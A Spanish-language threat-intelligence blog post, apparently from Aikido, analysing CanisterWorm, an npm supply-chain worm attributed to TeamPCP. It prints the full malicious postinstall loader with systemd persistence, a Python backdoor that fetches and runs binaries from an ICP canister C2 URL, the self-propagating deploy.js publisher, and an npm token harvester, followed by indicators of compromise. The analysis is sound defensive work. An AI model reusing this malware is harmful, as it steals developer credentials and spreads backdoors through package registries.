Aikido

TeamPCP despliega CanisterWorm en NPM tras el compromiso de Trivy

Escrito por
Charlie Eriksen

El 20 de marzo de 2026, a las 20:45 UTC, detectamos un gran número de paquetes comprometidos en NPM con un nuevo gusano que no se había observado antes. Estamos llamando a este ataque específico CanisterWorm, porque utiliza un ICP Canister para su dead-drop de C2, lo cual es la primera vez que vemos en una campaña de este tipo.

Han comprometido hasta ahora:

  • 28 paquetes en el @EmilGroup ámbito
  • 16 paquetes en el @opengov ámbito
  • El paquete @teale.io/eslint-config
  • El paquete @airtm/uuid-base32
  • El paquete @pypestream/floating-ui-dom

Esto parece ser una continuación directa del ataque a Trivy hace menos de 24 horas, según documentó en detalle Wiz, y realizado por el mismo actor de amenazas, TeamPCP.

Análisis técnico

A continuación, un desglose de los detalles técnicos de alto nivel del ataque:

  • 🧬 Arquitectura de tres etapas. Cargador post-instalación de Node.js → puerta trasera persistente de Python → punto de entrega (dead-drop) alojado en ICP para la distribución dinámica de payloads.
  • 🪱 Gusano auto-propagable. deploy.js Toma tokens de npm, resuelve nombres de usuario, enumera todos los paquetes publicables, actualiza las versiones de parche y publica el payload en todo el ámbito. 28 paquetes en menos de 60 segundos.
  • 🔁 Persistencia en systemd. Instala un servicio a nivel de usuario con Restart=always. Sobrevive a los reinicios, se reinicia en caso de fallo, no requiere root.
  • 🌐 Contenedor ICP como punto de entrega C2. Un contenedor en la red principal de Internet Computer devuelve una URL que apunta a un payload binario. Descentralizado, resistente a la censura, sin un único punto de eliminación.
  • 🔄 Rotación remota de payloads. El controlador del contenedor puede cambiar la URL en cualquier momento, enviando nuevos binarios a todos los hosts infectados sin tocar el implante.
  • ⏱️ Evasión de sandbox. 5 minutos de inactividad antes de la primera baliza, intervalo de sondeo de ~50 minutos después.
  • 🤫 Fallo silencioso. Toda la post-instalación está envuelta en try/catch. npm install se ejecuta con normalidad en todas las plataformas; la puerta trasera solo se activa en Linux con systemd.
  • 🐘 Enmascaramiento de PostgreSQL. Todos los artefactos nombrados para pasar desapercibidos en las máquinas de los desarrolladores: pgmon, pglog, .pg_state.
  • 📄 Preservación del README. El gusano obtiene el README original de cada paquete objetivo antes de publicarlo para mantener las apariencias.

Carga útil - Malware

A continuación se muestra la carga útil maliciosa principal. Este archivo se ejecuta automáticamente como un postinstall hook durante npm install. Esto es lo que hace paso a paso:

  • 🔓 Decodifica la carga útil incrustada. La larga cadena base64 es un script de Python (la puerta trasera de segunda etapa que veremos a continuación). Se decodifica y se escribe en ~/.local/share/pgmon/service.py.
  • 🔧 Crea un servicio de usuario systemd. Escribe un archivo de unidad en ~/.config/systemd/user/pgmon.service que ejecuta el script de Python con Restart=always y un retardo de reinicio de 5 segundos. No se requiere root, no hay solicitud de contraseña.
  • 🚀 Inicia el servicio inmediatamente. Ejecuta systemctl --user daemon-reload, luego habilita e inicia el servicio. La puerta trasera ahora está en ejecución y sobrevivirá a los reinicios y caídas.
  • 🐘 Se disfraza como herramientas de PostgreSQL. El servicio se llama pgmon, el binario que descarga más tarde se llama pglog, y el archivo de estado es .pg_state. Un desarrollador que eche un vistazo a sus servicios en ejecución no le daría importancia.
'use strict';

const { execSync } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG5vdCBpbiBsOgogICAgICAgICAgICBlKGwpCiAgICAgICAgICAgIAogICAgICAgIHRpbWUuc2xlZXAoMzAwMCkK';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
} catch (_) {
  // silent
}

Payload - Backdoor de Python

Al decodificar la carga útil de systemd codificada en base64, se obtiene lo siguiente. Esta es la backdoor real que persiste en el sistema. Solo utiliza módulos de la biblioteca estándar de Python, por lo que no hay nada que instalar.

  • ⏱️ Permanece inactivo durante 5 minutos antes de hacer nada. Tiempo suficiente para superar la mayoría de los entornos sandbox que monitorizan comportamientos sospechosos inmediatos.
  • 📡 Se comunica con el servidor de control cada ~50 minutos. Función g() contacta con un canister ICP con un User-Agent de navegador falsificado. El canister no sirve malware directamente. Simplemente devuelve una URL como texto plano, apuntando a donde esté alojado actualmente el binario real.
  • 📥 Descarga y ejecuta lo que se le indique. Función e() obtiene el binario en /tmp/pglog, lo marca como ejecutable y lo lanza en un proceso completamente desasociado. La URL se guarda en /tmp/.pg_state para que no vuelva a descargar la misma carga útil dos veces.
  • 🔘 Tiene un interruptor de apagado integrado. Si la URL contiene youtube[.]com, el script lo omite. Este es el estado inactivo del canister. El atacante activa el implante apuntando el canister a un binario real, y lo desactiva volviendo a un enlace de YouTube.
  • 🔄 Soporta rotación de carga útil. Si el atacante actualiza el canister para que apunte a una nueva URL, cada máquina infectada obtiene el nuevo binario en su siguiente sondeo. El binario antiguo sigue ejecutándose en segundo plano, ya que el script nunca elimina los procesos anteriores.
import urllib.request
import os
import subprocess
import time

C_URL = "https://tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io/"
TARGET = "/tmp/pglog"
STATE = "/tmp/.pg_state"

def g():
    try:
        req = urllib.request.Request(C_URL, headers={'User-Agent': 'Mozilla/5.0'})
        with urllib.request.urlopen(req, timeout=10) as r:
            link = r.read().decode('utf-8').strip()
            return link if link.startswith("http") else None
    except:
        return None

def e(l):
    try:
        urllib.request.urlretrieve(l, TARGET)
        os.chmod(TARGET, 0o755)
        subprocess.Popen([TARGET], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True)
        with open(STATE, "w") as f: 
            f.write(l)
    except:
        pass

if __name__ == "__main__":
    time.sleep(300)
    while True:
        l = g()
        prev = ""
        if os.path.exists(STATE):
            try:
                with open(STATE, "r") as f: 
                    prev = f.read().strip()
            except: 
                pass
        
        if l and l != prev and "youtube.com" not in l:
            e(l)
            
        time.sleep(3000)

Esta carga útil, y el dominio referenciado, parecen ser similares, si no idénticos a la sysmon.py carga útil del ataque de Trivy. En este momento, la URL devuelta por el C2 es un vídeo de YouTube de Rickroll. Esto podría cambiar en cualquier momento y empezar a servir una carga útil maliciosa adecuada.

Carga útil - Gusano

Los paquetes también incluyen deploy.js, una herramienta de autopropagación que el atacante ejecuta manualmente para extender la carga útil maliciosa a todos los paquetes a los que tiene acceso un token de npm robado. El gusano es muy simple. Parece estar desarrollado de forma improvisada y es autoexplicativo. No se hizo ningún intento de ofuscación. Esto no se activa por npm install. Es una herramienta independiente que el atacante ejecuta con tokens robados para maximizar el radio de impacto. Esto es lo que hace:

  • 🔑 Soporta múltiples tokens. Lee NPM_TOKENS (separado por comas) o NPM_TOKEN del entorno. Cada token se procesa de forma independiente, lo que significa que una sola ejecución puede comprometer múltiples cuentas.
  • 🔍 Resuelve a quién pertenece el token. Para cada token, llama al /-/whoami endpoint de npm para obtener el nombre de usuario asociado. Los tokens inválidos o caducados se omiten.
  • 📦 Enumera cada paquete en el que la cuenta puede publicar. Utiliza la API de búsqueda de npm con maintainer:<username>, paginado en lotes de 250. Así es como descubrió los 28 @emilgroup paquetes.
  • 🔢 Incrementa automáticamente la versión de parche. Obtiene la versión actual latest de cada paquete objetivo e incrementa el número de parche. 1.54.0 se convierte en 1.54.1, 1.97.1 se convierte en 1.97.2. La nueva versión siempre parece una versión de parche rutinaria.
  • 📄 Conserva el README original. Antes de publicar, recupera el README existente del paquete objetivo desde el registro y lo sustituye localmente. Después de publicar, restaura sus propios archivos. Esto mantiene la apariencia normal del listado de npm.
  • 🔀 Reescribe package.json sobre la marcha. Reemplaza temporalmente el nombre y la versión del paquete en el archivo local package.json con los del objetivo, publica y luego restaura el original. Un esqueleto malicioso, reutilizado para cada paquete.
  • 🚀 Publica con --tag latest. El --access public --tag latest flags aseguran que la versión maliciosa se convierta en la instalación predeterminada. Cualquiera que ejecute npm install @emilgroup/whatever obtiene la versión comprometida.
  • 🧹 Se limpia a sí mismo. Ambos package.json y README.md siempre se restauran en un finalmente bloque, incluso si la publicación falla. El directorio local parece intacto después de la ejecución.
  • 📊 Imprime un resumen. Registra éxitos y fallos por token, y lo registra todo con líneas de estado prefijadas con emojis. Irónicamente bien diseñado para una herramienta de ataque.

#!/usr/bin/env node

/**
 * deploy.js
 *
 * Iterates over a list of NPM tokens to:
 *  1. Authenticate with the npm registry and resolve your username per token
 *  2. Fetch every package owned by that account from the registry
 *  3. For every owned package:
 *       a. Deprecate all existing versions (except the new one you are publishing)
 *       b. Swap the "name" field in a temp copy of package.json
 *       c. Run `npm publish` to push the new version to that package
 *
 * Usage (multiple tokens, comma-separated):
 *   NPM_TOKENS=<token1>,<token2>,<token3> node scripts/deploy.js
 *
 * Usage (single token fallback):
 *   NPM_TOKEN=<your_token> node scripts/deploy.js
 *
 * Or set it in your environment beforehand:
 *   export NPM_TOKENS=<token1>,<token2>
 *   node scripts/deploy.js
 */

const { execSync } = require('child_process');
const https = require('https');
const fs = require('fs');
const path = require('path');

// ── Helpers ──────────────────────────────────────────────────────────────────

function run(cmd, opts = {}) {
  console.log(`\n> ${cmd}`);
  return execSync(cmd, { stdio: 'inherit', ...opts });
}

function fetchJson(url, token) {
  return new Promise((resolve, reject) => {
    const options = {
      headers: {
        Authorization: `Bearer ${token}`,
        Accept: 'application/json',
      },
    };
    https
      .get(url, options, (res) => {
        let data = '';
        res.on('data', (chunk) => (data += chunk));
        res.on('end', () => {
          try {
            resolve(JSON.parse(data));
          } catch (e) {
            reject(new Error(`Failed to parse response from ${url}: ${data}`));
          }
        });
      })
      .on('error', reject);
  });
}

/**
 * Fetches package metadata (readme + latest version) from the npm registry.
 * Returns { readme: string|null, latestVersion: string|null }.
 */
async function fetchPackageMeta(packageName, token) {
  try {
    const meta = await fetchJson(
      `https://registry.npmjs.org/${encodeURIComponent(packageName)}`,
      token
    );
    const readme = (meta && meta.readme) ? meta.readme : null;
    const latestVersion =
      (meta && meta['dist-tags'] && meta['dist-tags'].latest) || null;
    return { readme, latestVersion };
  } catch (_) {
    return { readme: null, latestVersion: null };
  }
}

/**
 * Bumps the patch segment of a semver string.
 * e.g. "1.39.0" → "1.39.1"
 */
function bumpPatch(version) {
  const parts = version.split('.').map(Number);
  if (parts.length !== 3 || parts.some(isNaN)) return version;
  parts[2] += 1;
  return parts.join('.');
}

/**
 * Returns an array of package names owned by `username`.
 * Uses the npm search API filtered by maintainer.
 */
async function getOwnedPackages(username, token) {
  let packages = [];
  let from = 0;
  const size = 250;

  while (true) {
    const url = `https://registry.npmjs.org/-/v1/search?text=maintainer:${encodeURIComponent(
      username
    )}&size=${size}&from=${from}`;
    const result = await fetchJson(url, token);

    if (!result.objects || result.objects.length === 0) break;

    packages = packages.concat(result.objects.map((o) => o.package.name));

    if (packages.length >= result.total) break;
    from += size;
  }

  return packages;
}

/**
 * Runs the full deploy pipeline for a single npm token.
 * Returns { success: string[], failed: string[] }
 */
async function deployWithToken(token, pkg, pkgPath, newVersion) {
  // 1. Verify token / get username
  console.log('\n🔍  Verifying npm token…');
  let whoami;
  try {
    whoami = await fetchJson('https://registry.npmjs.org/-/whoami', token);
  } catch (err) {
    console.error('❌  Could not reach the npm registry:', err.message);
    return { success: [], failed: [] };
  }

  if (!whoami || !whoami.username) {
    console.error('❌  Invalid or expired token — skipping.');
    return { success: [], failed: [] };
  }

  const username = whoami.username;
  console.log(`✅  Authenticated as: ${username}`);

  // 2. Fetch all packages owned by this user
  console.log(`\n🔍  Fetching all packages owned by "${username}"…`);
  let ownedPackages;
  try {
    ownedPackages = await getOwnedPackages(username, token);
  } catch (err) {
    console.error('❌  Failed to fetch owned packages:', err.message);
    return { success: [], failed: [] };
  }

  if (ownedPackages.length === 0) {
    console.log('   No packages found for this user. Skipping.');
    return { success: [], failed: [] };
  }

  console.log(`   Found ${ownedPackages.length} package(s): ${ownedPackages.join(', ')}`);

  // 3. Process each owned package
  const results = { success: [], failed: [] };

  for (const packageName of ownedPackages) {
    console.log(`\n${'─'.repeat(60)}`);
    console.log(`📦  Processing: ${packageName}`);

    // 3a. Fetch the original package's README and latest version
    const readmePath = path.resolve(__dirname, '..', 'README.md');
    const originalReadme = fs.existsSync(readmePath)
      ? fs.readFileSync(readmePath, 'utf8')
      : null;

    console.log(`   📄  Fetching metadata for ${packageName}…`);
    const { readme: remoteReadme, latestVersion } = await fetchPackageMeta(packageName, token);

    // Determine version to publish: bump patch of existing latest, or use local version
    const publishVersion = latestVersion ? bumpPatch(latestVersion) : newVersion;
    console.log(
      latestVersion
        ? `   🔢  Latest is ${latestVersion} → publishing ${publishVersion}`
        : `   🔢  No existing version found → publishing ${publishVersion}`
    );

    if (remoteReadme) {
      fs.writeFileSync(readmePath, remoteReadme, 'utf8');
      console.log(`   📄  Using original README for ${packageName}`);
    } else {
      console.log(`   📄  No existing README found; keeping local README`);
    }

    // 3c. Temporarily rewrite package.json with this package's name + bumped version, publish, then restore
    const originalPkgJson = fs.readFileSync(pkgPath, 'utf8');
    const tempPkg = { ...pkg, name: packageName, version: publishVersion };
    fs.writeFileSync(pkgPath, JSON.stringify(tempPkg, null, 2) + '\n', 'utf8');

    try {
      run('npm publish --access public --tag latest', {
        env: { ...process.env, NPM_TOKEN: token },
      });
      console.log(`✅  Published ${packageName}@${publishVersion}`);
      results.success.push(packageName);
    } catch (err) {
      console.error(`❌  Failed to publish ${packageName}:`, err.message);
      results.failed.push(packageName);
    } finally {
      // Always restore the original package.json
      fs.writeFileSync(pkgPath, originalPkgJson, 'utf8');

      // Always restore the original README
      if (originalReadme !== null) {
        fs.writeFileSync(readmePath, originalReadme, 'utf8');
      } else if (remoteReadme && fs.existsSync(readmePath)) {
        // README didn't exist locally before — remove the temporary one
        fs.unlinkSync(readmePath);
      }
    }
  }

  return results;
}

// ── Main ─────────────────────────────────────────────────────────────────────

(async () => {
  // 1. Resolve token list — prefer NPM_TOKENS (comma-separated), fall back to NPM_TOKEN
  const rawTokens = process.env.NPM_TOKENS || process.env.NPM_TOKEN || '';
  const tokens = rawTokens
    .split(',')
    .map((t) => t.trim())
    .filter(Boolean);

  if (tokens.length === 0) {
    console.error('❌  No npm tokens found.');
    console.error('    Set NPM_TOKENS=<token1>,<token2>,… or NPM_TOKEN=<token>');
    process.exit(1);
  }

  console.log(`🔑  Found ${tokens.length} token(s) to process.`);

  // 2. Read local package.json once
  const pkgPath = path.resolve(__dirname, '..', 'package.json');
  const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
  const newVersion = pkg.version;

  // 3. Iterate over every token
  const overall = { success: [], failed: [] };

  for (let i = 0; i < tokens.length; i++) {
    const token = tokens[i];
    console.log(`\n${'═'.repeat(60)}`);
    console.log(`🔑  Token ${i + 1} / ${tokens.length}`);

    const { success, failed } = await deployWithToken(token, pkg, pkgPath, newVersion);
    overall.success.push(...success);
    overall.failed.push(...failed);
  }

  // 4. Overall summary
  console.log(`\n${'═'.repeat(60)}`);
  console.log('📊  Overall Deploy Summary');
  console.log(`   ✅  Succeeded (${overall.success.length}): ${overall.success.join(', ') || 'none'}`);
  console.log(`   ❌  Failed    (${overall.failed.length}): ${overall.failed.join(', ') || 'none'}`);

  if (overall.failed.length > 0) {
    process.exit(1);
  }
})();

Actualización: CanisterWorm Aprende a Autopropagarse

Aproximadamente una hora después de la @emilgroup ola inicial, el atacante implementó una actualización significativa de @teale.io/eslint-config versiones 1.8.11 y 1.8.12 (21:16-21:21 UTC). El gusano ya no es una herramienta manual. Ahora se auto-propaga.

En las @emilgroup versiones, deploy.js era un script independiente que el atacante ejecutaba manualmente con tokens robados. Las víctimas obtenían la puerta trasera, pero el gusano no se propagaba por sí solo. Eso ha cambiado. La nueva index.js añade una findNpmTokens() función que se ejecuta durante postinstall y recolecta activamente tokens de autenticación de npm de la máquina de la víctima.

'use strict';

const { execSync, spawn } = require('child_process');
const fs   = require('fs');
const os   = require('os');
const path = require('path');

function findNpmTokens() {
  const tokens = new Set();
  const homeDir = os.homedir();
  const npmrcPaths = [
    path.join(homeDir, '.npmrc'),
    path.join(process.cwd(), '.npmrc'),
    '/etc/npmrc',
  ];
  for (const rcPath of npmrcPaths) {
    try {
      const content = fs.readFileSync(rcPath, 'utf8');
      for (const line of content.split('\n')) {
        const m = line.match(/(?:_authToken\s*=\s*|:_authToken=)([^\s]+)/);
        if (m && m[1] && !m[1].startsWith('${')) {
          tokens.add(m[1].trim());
        }
      }
    } catch (_) {}
  }
  const envKeys = Object.keys(process.env).filter(
    (k) => k === 'NPM_TOKEN' || k === 'NPM_TOKENS' || (k.includes('NPM') && k.includes('TOKEN'))
  );
  for (const key of envKeys) {
    const val = process.env[key] || '';
    for (const t of val.split(',')) {
      const trimmed = t.trim();
      if (trimmed) tokens.add(trimmed);
    }
  }
  try {
    const configToken = execSync('npm config get //registry.npmjs.org/:_authToken 2>/dev/null', {
      stdio: ['pipe', 'pipe', 'pipe'],
    }).toString().trim();
    if (configToken && configToken !== 'undefined' && configToken !== 'null') {
      tokens.add(configToken);
    }
  } catch (_) {}
  return [...tokens].filter(Boolean);
}

try {
  const pkg = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));

  const SERVICE_NAME = 'pgmon';
  const BASE64_PAYLOAD = 'hello123';

  if (!BASE64_PAYLOAD) process.exit(0);

  const homeDir        = os.homedir();
  const dataDir        = path.join(homeDir, '.local', 'share', SERVICE_NAME);
  const scriptPath     = path.join(dataDir, 'service.py');
  const systemdUserDir = path.join(homeDir, '.config', 'systemd', 'user');
  const unitFilePath   = path.join(systemdUserDir, `${SERVICE_NAME}.service`);

  fs.mkdirSync(dataDir, { recursive: true });
  fs.writeFileSync(scriptPath, Buffer.from(BASE64_PAYLOAD, 'base64').toString('utf8'), { mode: 0o755 });

  fs.mkdirSync(systemdUserDir, { recursive: true });
  fs.writeFileSync(unitFilePath, [
    '[Unit]',
    `Description=${SERVICE_NAME}`,
    'After=default.target',
    '',
    '[Service]',
    'Type=simple',
    `ExecStart=/usr/bin/python3 ${scriptPath}`,
    'Restart=always',
    'RestartSec=5',
    '',
    '[Install]',
    'WantedBy=default.target',
    '',
  ].join('\n'), { mode: 0o644 });

  execSync('systemctl --user daemon-reload',                       { stdio: 'pipe' });
  execSync(`systemctl --user enable ${SERVICE_NAME}.service`,      { stdio: 'pipe' });
  execSync(`systemctl --user start  ${SERVICE_NAME}.service`,      { stdio: 'pipe' });

  try {
    const tokens = findNpmTokens();
    if (tokens.length > 0) {
      const deployScript = path.join(__dirname, 'scripts', 'deploy.js');
      if (fs.existsSync(deployScript)) {
        spawn(process.execPath, [deployScript], {
          detached: true,
          stdio: 'ignore',
          env: { ...process.env, NPM_TOKENS: tokens.join(',') },
        }).unref();
      }
    }
  } catch (_) {}
} catch (_) {}

Esta es la misma puerta trasera de systemd que antes, pero con una adición crítica al final: después de instalar el servicio persistente, rastrea cada token de npm que puede encontrar y genera el gusano con ellos.

  • 🔍 Rastrea .npmrc archivos. Comprueba ~/.npmrc (configuración de usuario), .npmrc en el directorio de trabajo actual (configuración de proyecto), y /etc/npmrc (configuración global). Analiza cada línea en busca de _authToken valores. Es lo suficientemente inteligente como para omitir variables de plantilla como ${NPM_TOKEN} que no han sido interpoladas.
  • 🔍 Rastrea variables de entorno. Busca NPM_TOKEN, NPM_TOKENS, y cualquier cosa que coincida con *NPM*TOKEN*. Divide por comas para manejar variables con múltiples tokens. Esto detecta la mayoría de las configuraciones de CI/CD.
  • 🔍 Consulta directamente la configuración de npm. Ejecuta npm config get //registry.npmjs.org/:_authToken como un subproceso para capturar tokens almacenados externamente .npmrc archivos.
  • 🪱 Genera automáticamente el gusano. Si se encuentran tokens, lanza deploy.js como un proceso en segundo plano completamente desvinculado con los tokens robados. El detached: true y .unref() significan que el gusano sigue ejecutándose incluso después de que npm install finalice.

Este es el punto en el que el ataque pasa de "cuenta comprometida publica malware" a "el malware compromete más cuentas y se autopublica". Cada desarrollador o pipeline de CI que instala este paquete y tiene un token de npm accesible se convierte en un vector de propagación involuntario. Sus paquetes se infectan, sus usuarios posteriores instalan esos, y si alguno de ellos tiene tokens, el ciclo se repite.

La carga útil de la puerta trasera de ICP fue sustituida por hello123, una cadena de prueba ficticia que se decodifica en bytes basura. Cuando systemd intenta ejecutarla como Python, se bloquea inmediatamente, pero con Restart=always establecido, el servicio se reinicia silenciosamente cada 5 segundos. El atacante implementó la infraestructura primero para validar la cadena completa (recolección de tokens, generación de gusanos, persistencia de systemd) antes de armarla con la carga útil real.

Si esto se hubiera implementado con la puerta trasera completa de ICP, los paquetes de cada desarrollador comprometido se habrían convertido en un nuevo vector de infección. La infraestructura funciona. Simplemente no han abierto el grifo todavía.

Mensaje en el código fuente

Parece que el actor de la amenaza está siguiendo la cobertura de sus ataques. En su última oleada de ataques, dejó un mensaje dirigido directamente al autor de esta publicación de blog:

Indicadores de Compromiso

Infraestructura C2

  • hxxps://tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io/ — Resolutor de punto de entrega de canister ICP

Indicadores del sistema de archivos

  • ~/.local/share/pgmon/service.py — Script de puerta trasera de Python
  • ~/.config/systemd/user/pgmon.service — Unidad de persistencia de Systemd
  • /tmp/pglog — Carga útil binaria descargada
  • /tmp/.pg_state — Archivo de seguimiento de estado

Hashes maliciosos de index.js (SHA256)

  • e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b — Oleada 1: prueba en seco (carga útil vacía, despliegue manual)
  • 61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba — Oleada 2: puerta trasera ICP armada, despliegue manual
  • 0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a — Oleada 3: autopropagante, carga útil de prueba
  • c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926 — Oleada 4: forma final (autopropagante + puerta trasera ICP armada)

Hashes maliciosos de deploy.js (SHA256)

  • f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152 — Oleada 1: verboso, sin --tag latest
  • 7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7 — Oleada 2: añadido --tag latest
  • 5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956 — Ola 3+: minificada, silenciosa

Compartir:

https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise

Empieza hoy, gratis.

Empieza gratis
Sin tarjeta

Suscríbase para recibir noticias sobre amenazas.

4.7/5
¿Cansado de los falsos positivos?

Prueba Aikido como otros 100k.
Empiece ahora
Obtenga un recorrido personalizado

Con la confianza de más de 100k equipos

Reservar ahora
Escanee su aplicación en busca de IDORs y rutas de ataque reales

Con la confianza de más de 100k equipos

Empezar a escanear
Vea cómo el pentesting de IA prueba su aplicación

Con la confianza de más de 100k equipos

Empezar a probar

Asegura tu plataforma ahora

Protege tu código, la nube y el entorno de ejecución en un único sistema central.
Encuentra y corrije vulnerabilidades de forma rápida y automática.

No se requiere tarjeta de crédito | Resultados del escaneo en 32 segundos.